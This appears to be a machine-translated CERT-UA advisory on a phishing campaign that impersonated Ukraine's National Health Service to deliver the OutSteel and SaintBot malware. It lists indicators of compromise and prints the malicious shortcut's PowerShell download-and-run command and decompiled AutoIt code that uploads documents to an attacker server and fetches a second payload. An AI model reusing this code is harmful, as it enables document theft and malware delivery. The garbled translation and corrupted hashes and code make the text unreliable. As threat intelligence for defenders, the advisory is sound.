

# CERT-UA

---

## General information

The orderly command of the response on the computer of the supremacy of Ukraine CERT-UA took away the information about the rozpovsudzhennya, nachebto, in the name of the National Health Service of Ukraine, electronic mail notifications, which were sent to the ZIP-archive

ZIP-archives guessing to avenge a decoy document and two identical shortcut files, when they appear on the victim's computer, a powershell command will be written, which, in its turn, will lead to the capture and launch of the OutSteel program (compilation date: 28.01. 2022). It remains to secure the search for stolen documents on the victim's computer, as well as to grab and download the SaintBot program (compilation date: 04/30/2021).

This activity is directed at the state organizations of Ukraine. Valid for CERT-UA no later than April 2021 under identifier UAC-0056.

## Indicators of compromise

### Files:

0e16df6845cde1260087902f25842f79	d5aadb4ace8ffccb.zip
fa23f43fa759f0f38cde2b703d98ba05	Addendum_2.docx
7de66b5c7d3ddae321fa6cfeaa94819	Addendum_1.docx.lnk
78e941e780adc1a159fdc7090194c96d	up74987340.exe
ede3bf69a09ceec27ded2d20c95ca78e3	up74987340.dec.exe (OutSteel)
363e2b62f93c58c177e58dbe0a247fa0	load74h74830.exe
ab2a92e0fc5a6f63336e442f34089f16	1406.exe (SaintBot)

### Мережеві:

hxxps://cdn.discordapp[.]com/attachments/908281957039869965/937420906286952568/d5aadb4ace8ffcc

hxxp://eumr[.]site/up74987340.exe  
hxxp://eumr[.]site/load74h74830.exe  
hxxp://185.244.41[.]109:8080/upld/  
hxxp://8003659902[.]space/wp-admin/gate.php  
hxxp://smm2021[.]net/wp-admin/gate.php  
hxxp://8003659902[.]site/wp-admin/gate.php  
eumr[.]site  
8003659902[.]space  
smm2021[.]net  
8003659902[.]site  
1000020[.]xyz  
185.244.41[.]109  
testsid@lthhc-zm[.]com

### Хостові:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<назва\_файлу>.exe  
%TEMP%\rmm.bat  
%TEMP%\svjhost.exe  
%LOCALAPPDATA%\zz%USER%\

## Додаткова інформація

OutSteel - a slick program, divided into different versions of Autolt; the main functionality is the transfer of files after a specific transfer of file extensions (transferring files to the control server is required for the help of HTTP POST

requests).

We swear on the need for additional monitoring of the connection with the public Discord service.

### Graphic images

From: Info Mailbox To: undisclosed-recipients: Subject: Роз'яшення щодо коректності ведення електронних медичних записів в електронній системі охорони здоров'я, а також впливу правильності та повноти ведення медичних записів на оплату послуг

3 повагою, Kind regards,

**Національна служба здоров'я України**  
просп. Степана Бандери, 19,  
м. Київ, 04073

**National Health Service of Ukraine**  
19, Stepana Bandery Ave.,  
Kyiv, 04073, Ukraine

+380 44 426 67 77

<http://nszu.gov.ua>

Додаток\_2.docx Додаток\_1.docx 1821\_8-15-21.PDF

[hxxps://cdn.discordapp\[.\]com/attachments/908281957039869965/937420906286952568/d5aad4ace8ffccb.zip](https://cdn.discordapp.com/attachments/908281957039869965/937420906286952568/d5aad4ace8ffccb.zip)

Local Base Path : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  
Relative Path : ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  
Command Line Arguments : [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ; . .irm -urI ("http://eumr.site/up7498734/" + "0." + "e" + "xe") -outfile "SEnv:Public\GoogleChromeUpdate.exe" ; Start-Process "SEnv:public\GoogleChromeUpdate.exe"  
Icon File Name : C:\WINDOWS\system32\imageres.dll  
Machine ID : laptop-u

### Rice. 1 Butt of a swivel electronic sheet

```

$url dwnl = "http://eumr.site/load74h74830.exe"
$url = "http://185.244.41.109:8080/upld/"
$sdks = DriveGetDrive("FIXED")
$rem = 0x0
For $i = 0x1 To $sdks[0x0]
  If $sdks[$i] = @HomeDrive Then
    $rem = $i
  EndIf
Next
$sdks[$rem] = @HomePath
$uuid = Hex(DriveGetSerial(""))
For $drv = 0x1 To $sdks[0x0]
  $sareturn = FILESEARCH($sdks[$drv], "**.doc*.pdf*.ppt*.dot*.xl*.csv*.rtf*.dot*.mdb*.accdb*.pot*.pps*.ppa*.rar*.zip*.tar*.7z*.txt")
  For $i = 0x1 To $sareturn[0x0]
    $sname new = StringReplace($sareturn[$i], ". ", ".")
    $sname new = StringReplace($sname new, "\", "/")
    HTTP_UPLOAD($url & $uuid, $sareturn[$i], StringToHex($sname new), "", StringToHex($sname new))
  Next
Next
Local $path dwnl = @TempDir & "\sv\host.exe"
Local $h dwnl = InetGet($url dwnl, $path dwnl, $inet forcereoad, $inet downloadbackground)
Do
  Sleep(0x10)
Until InetGetInfo($h dwnl, $inet downloadcomplete)
InetClose($h dwnl)
Run("cmd /c start /min " & $path dwnl, "", @SW_HIDE)
$shfile = FileOpen("rmm.bat", 0x2)
FileWrite($shfile, "echo off" & @CRLF)
FileWrite($shfile, ":tryremv" & @CRLF)
FileWrite($shfile, "cd /b %*" & @ScriptName & @CRLF)
FileWrite($shfile, "if exist " & @ScriptName & " (goto tryremv)" & @CRLF)
FileWrite($shfile, "start /b " & @ScriptName & ".exe /F %*" & @CRLF)
FileClose($shfile)
Run("cmd /c start /min rmm.bat", "", @SW_HIDE)

```

Зразки вихідного коду шкідливої програми OutSteel

```

Func FILESEARCH($spath, $sfilemask, $sflag = 0x0)
  Local $soutbin, $sout, $sout, $sread, $sdir, $sattrib
  Switch $sflag
  Case 0x1
    $sattrib = " /A:D"
  Case 0x2
    $sattrib = " /AD"
  Case Else
    $sattrib = " /A"
  EndSwitch
  $sout = StringJoinBinary("0" & @CRLF, 0x2)
  $samsks = StringSplit($sfilemask, ",")
  For $i = 0x1 To $samsks[0x0]
    $shdr = Run(GetOpen & "/U /C DIR " & $spath & "\* " & $samsks[$i] & " " /S /B) & $sattrib, @systemDir, @SW_HIDE, 0x6)
    While 0x1
      $sread = StdoutRead($shdr, False, True)
      If @error Then
        ExitLoop
      EndIf
      If $sread <> "" Then
        $sout &= $sread
      EndIf
    WEnd
  Next
  $sout = StringReqExp(BinaryToString($sout, 0x2), "[^\r\n]*", 0x3)
  If @error Then
    Return SetError(0x1)
  EndIf
  Return $sout & @Ubound($sout) + 0x1
EndFunc

```

### Rice. 2 Application of the program code of the OutSteel program